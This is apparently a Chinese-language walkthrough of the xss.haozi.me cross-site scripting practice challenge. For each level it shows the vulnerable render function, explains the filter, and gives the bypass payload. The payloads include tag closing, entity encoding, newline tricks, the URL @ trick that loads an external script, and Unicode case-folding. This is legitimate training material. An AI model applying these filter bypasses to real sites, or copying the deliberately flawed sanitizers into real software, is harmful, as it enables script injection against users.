Contents

XSS弹窗挑战

练练手,https://xss.haozi.me/#/

0x00

输入<script>alert(1);</script>

0x01

Server code

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

这次可以闭合一下,</textarea><script>alert(1);</script>

0x02

Server code

function render (input) {
  return '<input type="name" value="' + input + '">'
}

闭合单引号 ,'"><script>alert(1);</script>

0x03

Server code

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

js的正则表达式的语法/正则表达式主体/修饰符(可选)

修饰符可以在全局搜索中不区分大小写:

修饰符 描述
i 执行对大小写不敏感的匹配。
g 执行全局匹配(查找所有匹配而非在找到第一个匹配后停止)。
m 执行多行匹配。

方括号[]用于查找某个范围内的字符,所以是过滤了圆括号,这里用`代替。<script>alert`1`;</script>

0x04

Server code

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

这次通过执行实体字符来实现。参考https://www.w3school.com.cn/charsets/ref_html_8859.asp

1
<svg><script>alert&#40;1&#41;;</script>

0x05

Server code

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

注释方式有两种:

1
2
<!-- 注释内容 -->
<!-- 注释内容 --!>

输入--!><script>alert(1);</script>

0x06

Server code

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

过滤以auto开头、on开头=结尾的字符串、<并替换成_。但并没有匹配换行符, 可以通过换行来绕过匹配。

type="image" src=# onerror
=alert(1)

0x07

Server code

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

</?[^>]+>,第一段匹配**<** 或者 </,第二段匹配除了>的任意字符的一次或者多次,第三段匹配>,连起来就是匹配:</ 任意字符 >。可以利用html的单标签解析。

0x08

Server code

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

通过</style >来闭合。

0x09

Server code

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

可以通过在com后面闭合双引号, 再构造onerror事件,后面加注释绕过。https://www.segmentfault.com" onerror=alert(1)//

0x0A

Server code

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

用url的@语法来进行跳转调用,https://www.segmentfault.com@xss.haozi.me/j.js

0x0B

Server code

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

HTML对大小写是不敏感的,而JavaScript对大小写敏感。

1
<img src=# onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

另一种思路是: 域名对大小写也不敏感 

0x0C

Server code

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

上题的payload可以解决。

0x0D

Server code

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}
1
2
alert(1);
-->

0x0E

Server code

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

将尖括号后面追加一个下划线, 并且将所有字符大写,匹配了所有<与字母的组合。

这题很离谱,答案更离谱,逆向思维,还真有字符的大写是S的:  ſhttps://www.thetype.com/2009/10/1577/

依照这种思路,找到土耳其语中**ı**的大写是i,payload如下:

1
<ımg src=# onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

0x0F

Server code

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

编码后html标签解析代码时, 被过滤编码的字符仍然会被还原来执行,等于是过滤了个寂寞。'); alert(1); //

0x10

Server code

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

'';alert(1)

0x11

Server code

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

//虽然被转义成了//, 但转义之后还是//, 在js中还是注释符。构造");alert(1)//

0x12

Server code

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

构造\");alert(1)//